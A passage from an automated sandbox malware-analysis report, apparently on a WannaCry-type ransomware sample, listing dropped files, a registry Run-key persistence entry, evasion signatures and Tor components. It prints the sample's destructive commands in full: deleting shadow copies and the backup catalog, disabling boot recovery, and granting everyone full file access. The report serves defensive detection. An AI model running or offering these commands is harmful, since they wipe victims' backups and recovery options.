                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mswsock.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Windows\SysWOW64\cscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeWindow found: window name: RICHEDIT
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile opened: C:\Windows\SysWOW64\RICHED32.DLL
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: LisectAVT_2403002A_126.EXE.exeStatic file information: File size 3514376 > 1048576
                  Source: LisectAVT_2403002A_126.EXE.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x34a000
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,31_2_00404B70
                  Source: libeay32.dll.31.drStatic PE information: section name: /4
                  Source: libeay32.dll.31.drStatic PE information: section name: /19
                  Source: libeay32.dll.31.drStatic PE information: section name: /31
                  Source: libeay32.dll.31.drStatic PE information: section name: /45
                  Source: libeay32.dll.31.drStatic PE information: section name: /57
                  Source: libeay32.dll.31.drStatic PE information: section name: /70
                  Source: libeay32.dll.31.drStatic PE information: section name: /81
                  Source: libeay32.dll.31.drStatic PE information: section name: /92
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /4
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /19
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /31
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /45
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /57
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /70
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /81
                  Source: libevent-2-0-5.dll.31.drStatic PE information: section name: /92
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /4
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /19
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /31
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /45
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /57
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /70
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /81
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: section name: /92
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /4
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /19
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /31
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /45
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /57
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /70
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /81
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: section name: /92
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /4
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /19
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /31
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /45
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /57
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /70
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /81
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: section name: /92
                  Source: libssp-0.dll.31.drStatic PE information: section name: /4
                  Source: libssp-0.dll.31.drStatic PE information: section name: /19
                  Source: libssp-0.dll.31.drStatic PE information: section name: /31
                  Source: libssp-0.dll.31.drStatic PE information: section name: /45
                  Source: libssp-0.dll.31.drStatic PE information: section name: /57
                  Source: libssp-0.dll.31.drStatic PE information: section name: /70
                  Source: libssp-0.dll.31.drStatic PE information: section name: /81
                  Source: libssp-0.dll.31.drStatic PE information: section name: /92
                  Source: ssleay32.dll.31.drStatic PE information: section name: /4
                  Source: ssleay32.dll.31.drStatic PE information: section name: /19
                  Source: ssleay32.dll.31.drStatic PE information: section name: /31
                  Source: ssleay32.dll.31.drStatic PE information: section name: /45
                  Source: ssleay32.dll.31.drStatic PE information: section name: /57
                  Source: ssleay32.dll.31.drStatic PE information: section name: /70
                  Source: ssleay32.dll.31.drStatic PE information: section name: /81
                  Source: ssleay32.dll.31.drStatic PE information: section name: /92
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00413060 push eax; ret 31_2_0041308E
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00413060 push eax; ret 34_2_0041308E
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F9122E6 push ecx; ret 42_2_6F9122F9

                  Persistence and Installation Behavior

                  barindex
                  Command shell drops VBS files
                  Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Desktop\m.vbsJump to behavior
                  Drops PE files to the document folder of the user
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
                  Uses bcdedit to modify the Windows boot settings
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\Public\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\taskdl.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libssp-0.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\Default\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\ssleay32.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\taskse.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libeay32.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\found.001\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\tor.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\zlib1.dllJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD6EB4.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD6EB5.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD6EB6.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD70CB.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD70CC.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD718D.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD718E.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD718F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD7190.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD7191.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD7192.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD7193.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD71A4.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD71A5.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD71A6.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD71A7.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD71A8.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD732B.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD732C.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD732D.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD732E.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD732F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD7340.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD7341.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD7342.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD7343.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD7344.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD7345.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SD7346.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD758E.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD758F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD7590.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD7591.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\~SD7592.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD7593.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD75A4.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD75A5.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD75A6.tmpJump to behavior
                  Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run njyalyugfohc920
                  Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run njyalyugfohc920

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Creates files in the recycle bin to hide itself
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\$Recycle.Bin\~SD6D33.tmpJump to behavior
                  May use the Tor software to hide its network traffic
                  Source: @WanaDecryptor@.exe, 0000001F.00000003.1866830058.000000000295F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onion-port
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,31_2_004067F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,34_2_004067F0
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX

                  Malware Analysis System Evasion

                  barindex
                  Contains functionality to detect sleep reduction / modifications
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040D30031_2_0040D300
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040D4C031_2_0040D4C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040D30034_2_0040D300
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040D4C034_2_0040D4C0
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeWindow / User API: threadDelayed 1992Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeWindow / User API: threadDelayed 6788Jump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeDropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeDropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_31-5405
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_34-4667
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_34-5519
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI coverage: 8.5 %
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 4228Thread sleep time: -60000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 6060Thread sleep time: -60000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 7836Thread sleep count: 1992 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 7836Thread sleep time: -1992000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 8616Thread sleep count: 6788 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe TID: 8616Thread sleep time: -20364000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeCode function: 6_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,6_2_00401080
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,31_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,31_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,31_2_004026B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,34_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,34_2_00403CB0
